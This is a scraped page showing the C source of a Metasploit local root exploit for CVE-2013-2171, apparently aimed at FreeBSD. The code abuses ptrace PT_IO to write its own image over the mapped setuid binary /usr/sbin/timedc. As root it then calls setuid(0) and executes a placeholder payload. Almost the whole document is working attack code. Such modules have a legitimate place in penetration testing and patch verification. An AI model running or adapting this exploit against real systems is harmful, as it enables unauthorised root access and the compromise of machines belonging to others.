Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/external/source/exploits/CVE-2013-2171/exploit.c
Views: 11779
#include <unistd.h>1#include <fcntl.h>2#include <sys/stat.h>3#include <sys/mman.h>4#include <sys/types.h>5#include <sys/ptrace.h>6#include <sys/wait.h>78#define TG "/usr/sbin/timedc"910/*11This is based on Hunger's PoC12*/13int main(int ac, char **av) {14int from_fd, to_fd, status;15struct stat st;16struct ptrace_io_desc piod;17char *s, *d;18int pid;19char *bin = "MSFABCDEFGHIJKLMNOPQRSTUVWXYZ01234567890"; // is just a place holder2021if (geteuid() == 0) {22setuid(0);23execl(bin, bin, NULL);24return 0;25}2627from_fd = open(av[0], O_RDONLY);28to_fd = open(TG, O_RDONLY);29if ( from_fd == -1 || to_fd == -1 ) return 0;30if (stat(av[0], &st) == -1) return 0;3132s = mmap(NULL, (size_t)st.st_size, PROT_READ, MAP_SHARED, from_fd, (off_t)0);33d = mmap(NULL, (size_t)st.st_size, PROT_READ, MAP_SHARED|MAP_NOSYNC, to_fd, (off_t)0);3435if (s == MAP_FAILED || d == MAP_FAILED) return 0;36if ((pid = fork()) == -1) return 0;37if (!pid) {38if (ptrace(PT_TRACE_ME, pid, NULL, 0) == -1) return 0;39}4041if (ptrace(PT_ATTACH, pid, NULL, 0) == -1) return 0;42if (wait(&status) == -1) return 0;4344piod.piod_op = PIOD_WRITE_D;45piod.piod_offs = d;46piod.piod_addr = s;47piod.piod_len = st.st_size;4849if (ptrace(PT_IO, pid, (caddr_t)&piod, 0) == -1) return 0;50execl(TG, TG, NULL);5152return 0;53}545556